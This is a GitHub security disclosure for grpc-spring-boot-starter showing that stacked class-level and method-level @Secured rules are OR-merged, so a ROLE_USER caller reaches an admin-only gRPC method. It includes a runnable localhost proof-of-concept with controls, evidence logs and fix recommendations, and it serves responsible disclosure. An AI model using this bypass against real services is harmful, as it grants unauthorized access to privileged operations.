Skip to content

[security disclosure] Vertical Privilege Escalation via OR-Merged Service/Method @Secured Authorization Rules #423

Description

@waydeshi

Hi Team,

Field Value
Report ID grpc-spring-boot-starter_001_or-merged-authorization-privilege-escalation
Reporter Wayde Shi (github: waydeshi)
Component io.github.lognet:grpc-spring-boot-starter
Affected Version <=5.2.0
Fixed Version none
Project https://github.com/LogNet/grpc-spring-boot-starter
Vulnerability Type Improper Authorization / Incorrect Authorization
CWE CWE-285 (Improper Authorization); related CWE-863 (Incorrect Authorization), CWE-1188 (Insecure Default)
Report status Reproduced end-to-end (embedded Netty gRPC server + real gRPC client; dependency resolved from Maven Central)

Summary

grpc-spring-boot-starter processes Spring Security @Secured annotations on gRPC services/methods (its
default authorization mechanism). When a method is covered by both a class-level @Secured and a
method-level @Secured, the starter appends both into one attribute set and evaluates it with
AffirmativeBased (grant if any attribute matches). Adding a broad class-level rule therefore silently
weakens
a stricter method-level rule:

  • method-level @Secured("ROLE_ADMIN") alone → a ROLE_USER caller is correctly DENIED;
  • the same method rule plus class-level @Secured("ROLE_USER") → the same ROLE_USER caller is
    GRANTED (ADMIN collapses to USER OR ADMIN).

This is a vertical privilege escalation. The merge is silent (no docs, no startup warning) and fails open.
Exploitation requires a service that stacks a broad class-level @Secured with a stricter method-level
@Secured — a configuration reachable using only the library's documented annotations. When that
configuration is present, the library resolves it insecurely; concrete C/I impact depends on the bypassed
method, and the library-attributable defect is the silent loss of the stricter guard.


CVSS 3.1 Breakdown

Base Score: 4.2 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Metric Value Justification
Attack Vector (AV) Network gRPC is a network service
Attack Complexity (AC) High Exploitation depends on the target using the specific stacked class+method @Secured configuration; the attacker does not control whether it exists
Privileges Required (PR) Low Attacker needs a valid low-privilege (class-level role) account
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) Low A caller reaches an admin-gated method; concrete data exposure is deployment-dependent
Integrity (I) Low The admin-gated operation can be invoked; concrete write impact is deployment-dependent
Availability (A) None Not demonstrated by the PoC

Two deliberate choices keep the score conservative and defensible: (1) impact is scored Low C/I because
the concrete magnitude depends on what the consuming method does — only the authorization-gate bypass is
library-attributable; (2) Attack Complexity is scored High because exploitation is contingent on a
specific configuration existing in the target, which is not guaranteed to be present.

Deployment-dependent escalation: once the vulnerable configuration is present, exploitation of that method
is deterministic, and if the bypassed method performs high-impact reads/writes a consumer may re-score C/I
to High. The base score above intentionally reflects the conditional, library-attributable case only.


Description

The finding is a library defect, not a usage error. It rests on four intrinsic properties of the library, all
independent of developer intent:

  1. Non-monotonic (CWE-285). Adding an authorization rule must never increase who can reach an object.
    Here, adding class-level @Secured("ROLE_USER") to a method guarded by @Secured("ROLE_ADMIN") widens
    the caller set from ADMIN to USER∪ADMIN — "more rules → less protection." Demonstrated in the PoC
    (case A vs. B): the identical method guard yields GRANT or DENY based solely on the presence of a second,
    broader rule.
  2. Undocumented + fail-open (CWE-1188). The README documents @Secured on "services/methods" but never
    states that a class-level and a method-level @Secured on the same method are OR-combined; the ambiguity
    is resolved via AffirmativeBased (any-GRANT-wins) toward more access.
  3. Contradicts the library's own documented security model. The README states that gRPC security "follows
    the same principals and APIs as Spring WEB security configuration." Standard Spring Security resolves
    stacked @Secured by method-overrides-class (verified against Spring Security 6.4.4 bytecode of
    AbstractFallbackMethodSecurityMetadataSource.getAttributes — method attributes are returned if present,
    with class attributes used only as a fallback, never a union), which resolves the example to ADMIN only.
    The OR-union behavior therefore violates the equivalence the library documents about itself.
  4. Inconsistent with the library's own handling of the analogous case. In the same
    processSecuredAnnotation(), when a single method carries more than one @Secured, the library
    deliberately fails to start, throwing BeanCreationException("Ambiguous 'Secured' method ...")
    (GrpcServiceAuthorizationConfigurer.java:189-196). The class+method stacking reaches the identical end
    state — one method governed by two @Secured rules — yet is silently OR-merged and allowed instead of
    rejected. A deliberate "OR is intended" policy would not fail-fast on one path to a multi-rule method and
    silently permit another. This proves an unhandled boundary, not an intentional policy. (This
    single-method fail-fast has existed since 5.1.5; for earlier affected versions this argument does not
    apply, but arguments 1–3 hold in full and independently establish the defect.)

Scope. Affected only when a service stacks class-level @Secured(roleA) with a stricter method-level
@Secured(roleB) and the attacker holds roleA. Services using only method-level annotations, or only the
programmatic API, are unaffected. Reachable using only documented annotations — no custom code, non-default
properties, or external infrastructure.


Vulnerable Code Location

In GrpcServiceAuthorizationConfigurer.processSecuredAnnotation(), the class-level @Secured is mapped over
every method and each method-level @Secured is mapped without removing the class-level attribute; both
go through Registry.map(...), which appends via MultiValueMap.addAll:

// GrpcServiceAuthorizationConfigurer.java:218-221
void map(String attribute, List<MethodDescriptor<?, ?>> methods) {
    methods.forEach(m -> securedMethods.addAll(m, SecurityConfig.createList(attribute)));  // APPEND, not override
}

GrpcSecurity.java:112-124 then evaluates the merged attributes with AffirmativeBased (grants if any
voter returns ACCESS_GRANTED). RoleVoter grants on ROLE_USER, so the merged [ROLE_USER, ROLE_ADMIN]
never enforces the stricter ROLE_ADMIN. The GrpcSecurityMetadataSource returns the merged attribute list
verbatim (no override, no intersection), so the OR-merge reaches the decision manager exactly as constructed.


Proof of Concept

The PoC is a controlled experiment with three cases run against the same server, using the same
ROLE_USER-only credential, changing only one variable. A single positive result ("the call succeeded")
would be insufficient — it could also be explained by security not being active in the PoC — so controls B
and C prove enforcement is genuinely active.

Case Service / rule Caller Expected if library were correct Observed
A — positive PremiumService.deleteAllAccounts: class @Secured("ROLE_USER") + method @Secured("ROLE_ADMIN") ROLE_USER PERMISSION_DENIED SERVED (ALL-ACCOUNTS-DELETED)
B — control AdminOnlyService.adminOnlyOp: method-only @Secured("ROLE_ADMIN") (no class annotation) ROLE_USER PERMISSION_DENIED PERMISSION_DENIED
C — neg. control PremiumService.deleteAllAccounts unauthenticated UNAUTHENTICATED UNAUTHENTICATED
  • Case B is the crucial control. With the same ROLE_USER caller and the same required role
    (ROLE_ADMIN), removing the class-level annotation makes the method correctly return PERMISSION_DENIED.
    This proves the security interceptor, RoleVoter, and @Secured enforcement are all active and working
    — the framework is not blanket-allowing.
  • Case C proves the interceptor is wired at all (unauthenticated is rejected).
  • The only variable that differs between A (served) and B (denied) is the presence of a class-level
    @Secured being OR-merged with the method-level rule. This isolates the OR-merge as the cause of the
    escalation — the result is not a PoC artifact or a disabled-security false positive. The service method
    bodies are minimal beacons (a single constant string) with no self-authored authorization logic, so the
    outcome is attributable solely to the framework authorization layer.

Environment

  • Library: io.github.lognet:grpc-spring-boot-starter:5.2.0 + grpc-client-spring-boot-starter:5.2.0,
    resolved from Maven Central (not local source).
  • Spring Boot 3.4.4, Spring Security 6.4.4, gRPC 1.71.0, JDK 25.
  • Real embedded Netty gRPC server on a random local port, invoked by a real gRPC client over localhost.
  • Default @Secured annotation processing only (no custom GrpcSecurityConfigurerAdapter).

PoC code (from the runnable project CVE_Reports/poc/)

The listings below are the PoC sources, condensed for readability; they are functionally identical to the
committed files under CVE_Reports/poc/, which are the authoritative, runnable copies.

src/main/proto/poc.proto

syntax = "proto3";
option java_multiple_files = true;
option java_package = "com.poc.grpc.proto";
option java_outer_classname = "PocProto";
package poc;

message Empty {}
message Msg { string value = 1; }

// POSITIVE-case service: class-level @Secured("ROLE_USER") + method-level @Secured("ROLE_ADMIN").
service PremiumService {
  rpc DeleteAllAccounts (Empty) returns (Msg) {}
}

// CONTROL service: NO class-level @Secured; method-level @Secured("ROLE_ADMIN") only.
service AdminOnlyService {
  rpc AdminOnlyOp (Empty) returns (Msg) {}
}

src/main/java/com/poc/grpc/PocApplication.java

package com.poc.grpc;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class PocApplication {
    public static void main(String[] args) {
        SpringApplication.run(PocApplication.class, args);
    }
}

src/main/java/com/poc/grpc/SecurityConfig.java — one low-privilege user, ROLE_USER only; default
@Secured processing (no custom GrpcSecurityConfigurerAdapter).

package com.poc.grpc;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.provisioning.InMemoryUserDetailsManager;

@Configuration
public class SecurityConfig {

    public static final String PWD = "strongPassword1";

    @Bean
    public UserDetailsService userDetailsService() {
        UserDetails user = User.withDefaultPasswordEncoder()
                .username("user1")
                .password(PWD)
                .authorities("ROLE_USER") // low privilege ONLY
                .build();
        return new InMemoryUserDetailsManager(user);
    }
}

src/main/java/com/poc/grpc/PremiumServiceImpl.java — POSITIVE case: broad class-level guard + stricter
method-level guard on the same method. Method body is a minimal beacon so the outcome is attributable solely
to the framework authorization layer.

package com.poc.grpc;

import com.poc.grpc.proto.Empty;
import com.poc.grpc.proto.Msg;
import com.poc.grpc.proto.PremiumServiceGrpc;
import io.grpc.stub.StreamObserver;
import org.lognet.springboot.grpc.GRpcService;
import org.springframework.security.access.annotation.Secured;

@GRpcService
@Secured("ROLE_USER")                        // class-level: any authenticated user
public class PremiumServiceImpl extends PremiumServiceGrpc.PremiumServiceImplBase {

    @Override
    @Secured("ROLE_ADMIN")                   // stricter method-level guard on this method
    public void deleteAllAccounts(Empty request, StreamObserver<Msg> obs) {
        obs.onNext(Msg.newBuilder().setValue("ALL-ACCOUNTS-DELETED").build());
        obs.onCompleted();
    }
}

src/main/java/com/poc/grpc/AdminOnlyServiceImpl.java — CONTROL: no class-level @Secured; the method's
only rule is @Secured("ROLE_ADMIN"), so its attribute set is exactly [ROLE_ADMIN].

package com.poc.grpc;

import com.poc.grpc.proto.AdminOnlyServiceGrpc;
import com.poc.grpc.proto.Empty;
import com.poc.grpc.proto.Msg;
import io.grpc.stub.StreamObserver;
import org.lognet.springboot.grpc.GRpcService;
import org.springframework.security.access.annotation.Secured;

@GRpcService
public class AdminOnlyServiceImpl extends AdminOnlyServiceGrpc.AdminOnlyServiceImplBase {

    @Override
    @Secured("ROLE_ADMIN")                   // method-level ONLY; no class-level annotation
    public void adminOnlyOp(Empty request, StreamObserver<Msg> obs) {
        obs.onNext(Msg.newBuilder().setValue("ADMIN-ONLY-OP-EXECUTED").build());
        obs.onCompleted();
    }
}

src/main/resources/application.yml

grpc:
  port: 0            # random port, retrieved via @LocalRunningGrpcPort
  shutdownGrace: 0
spring:
  main:
    banner-mode: off
logging:
  level:
    root: WARN
    com.poc: INFO

src/test/java/com/poc/grpc/VulnerabilityReproductionTest.java — the controlled experiment (A/B/C).

package com.poc.grpc;

import com.poc.grpc.proto.AdminOnlyServiceGrpc;
import com.poc.grpc.proto.Empty;
import com.poc.grpc.proto.Msg;
import com.poc.grpc.proto.PremiumServiceGrpc;
import io.grpc.*;
import org.junit.jupiter.api.*;
import org.lognet.springboot.grpc.context.LocalRunningGrpcPort;
import org.lognet.springboot.grpc.security.AuthClientInterceptor;
import org.lognet.springboot.grpc.security.AuthHeader;
import org.springframework.boot.test.context.SpringBootTest;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;

@SpringBootTest(classes = PocApplication.class, webEnvironment = SpringBootTest.WebEnvironment.NONE)
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class VulnerabilityReproductionTest {

    @LocalRunningGrpcPort
    private int port;

    private static ManagedChannel rawChannel;

    private Channel authChannel() {
        rawChannel = ManagedChannelBuilder.forAddress("localhost", port).usePlaintext().build();
        AuthClientInterceptor interceptor = new AuthClientInterceptor(
                AuthHeader.builder().basic("user1", SecurityConfig.PWD.getBytes()));
        return ClientInterceptors.intercept(rawChannel, interceptor);
    }

    private ManagedChannel plainChannel() {
        return ManagedChannelBuilder.forAddress("localhost", port).usePlaintext().build();
    }

    @AfterAll
    static void cleanup() {
        if (rawChannel != null) rawChannel.shutdownNow();
    }

    @Test @Order(1)
    void a_positive_orMergedEscalationServed() {
        Msg reply = PremiumServiceGrpc.newBlockingStub(authChannel())
                .deleteAllAccounts(Empty.getDefaultInstance());
        assertEquals("ALL-ACCOUNTS-DELETED", reply.getValue(),
                "CVE-001 CONFIRMED: ROLE_USER invoked ROLE_ADMIN-only method (OR-merge escalation)");
    }

    @Test @Order(2)
    void b_control_methodOnlyAdmin_isDenied() {
        StatusRuntimeException ex = assertThrows(StatusRuntimeException.class, () ->
                AdminOnlyServiceGrpc.newBlockingStub(authChannel())
                        .adminOnlyOp(Empty.getDefaultInstance()));
        assertEquals(Status.Code.PERMISSION_DENIED, ex.getStatus().getCode(),
                "CONTROL: security IS active — ROLE_ADMIN is correctly enforced with no class-level rule");
    }

    @Test @Order(3)
    void c_negativeControl_unauthenticatedIsDenied() {
        ManagedChannel ch = plainChannel();
        try {
            StatusRuntimeException ex = assertThrows(StatusRuntimeException.class, () ->
                    PremiumServiceGrpc.newBlockingStub(ch).deleteAllAccounts(Empty.getDefaultInstance()));
            assertEquals(Status.Code.UNAUTHENTICATED, ex.getStatus().getCode(),
                    "NEG-CONTROL: interceptor is wired — unauthenticated caller is rejected");
        } finally {
            ch.shutdownNow();
        }
    }
}

pom.xml declares io.github.lognet:grpc-spring-boot-starter:5.2.0 and
grpc-client-spring-boot-starter:5.2.0 (from Maven Central), spring-security-config, and the gRPC
stub/protobuf plugins; full file at CVE_Reports/poc/pom.xml.


Execution Steps

Maven resolves grpc-spring-boot-starter:5.2.0 from Maven Central, generates the gRPC stubs from
poc.proto, starts a real embedded Netty gRPC server on a random port, and drives it with a real gRPC client:

cd CVE_Reports/poc
export JAVA_HOME=/path/to/jdk-17-or-newer     # Spring Boot 3.4.4 requires JDK 17+
mvn clean test

Reproduction Evidence

Verbatim from reproduction_evidence.log:

[VULN3-A positive] deleteAllAccounts (class USER + method ADMIN) returned: ALL-ACCOUNTS-DELETED
[VULN3-B control] adminOnlyOp (method-only ADMIN) status = PERMISSION_DENIED
[VULN3-C neg-control] unauthenticated deleteAllAccounts status = UNAUTHENTICATED
Tests run: 3, Failures: 0, Errors: 0 -- BUILD SUCCESS
Env: grpc-spring-boot-starter 5.2.0 (Maven Central), Spring Boot 3.4.4, Spring Security 6.4.4, gRPC 1.71.0, JDK 25

Interpretation: security is provably active (B denies, C denies); yet the identical ROLE_ADMIN requirement
is bypassed (A serves) precisely and only when a class-level @Secured is present to be OR-merged. Expected
secure behavior for A: PERMISSION_DENIED. Actual: the ROLE_ADMIN-only method executed for a
ROLE_USER-only caller.


Impact

A caller holding only the broad class-level role (ROLE_USER) can invoke a method that the developer
explicitly restricted to a stricter role (ROLE_ADMIN) via a method-level @Secured. The stricter guard is
silently lost — a vertical privilege escalation.

  • Trigger condition: a service stacks a broad class-level @Secured(roleA) with a stricter method-level
    @Secured(roleB) on the same method, and the attacker holds roleA. Reachable using only documented
    annotations.
  • Determinism: once the vulnerable configuration is present, the bypass is deterministic on every call
    (not intermittent), as shown by case A.
  • Library-attributable impact: the loss of the authorization gate. The concrete Confidentiality/Integrity
    magnitude is deployment-dependent — it is whatever the bypassed method exposes or performs. If that method
    performs high-impact reads/writes (e.g., a deleteAllAccounts-type operation), the real-world impact for
    that deployment can be far higher than the conservative base CVSS.
  • Not affected: services using only method-level @Secured, or only the programmatic authorization API,
    are not affected — the escalation requires the class+method stacking to create the OR-merge.

Recommended Fix

  1. Make the default monotonic and fail-closed: when a method-level @Secured is present, either have it
    override the class-level attributes for that method (method-overrides-class, as in standard Spring
    Security), or intersect the rules with AND semantics (UnanimousBased / an AuthorizationManager-based
    AND composition) so that adding a rule can never widen access.
  2. If OR-merge is retained for any case, make it opt-in and emit a startup warning when a method is
    covered by multiple @Secured rules of differing strength, consistent with the existing fail-fast on the
    analogous single-method multi-@Secured case (GrpcServiceAuthorizationConfigurer.java:189-196).
  3. Document the merge semantics explicitly in the README security section.
  4. Add an integration test asserting: class @Secured("ROLE_USER") + method @Secured("ROLE_ADMIN"), a
    ROLE_USER-only principal receives PERMISSION_DENIED.

Reference

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions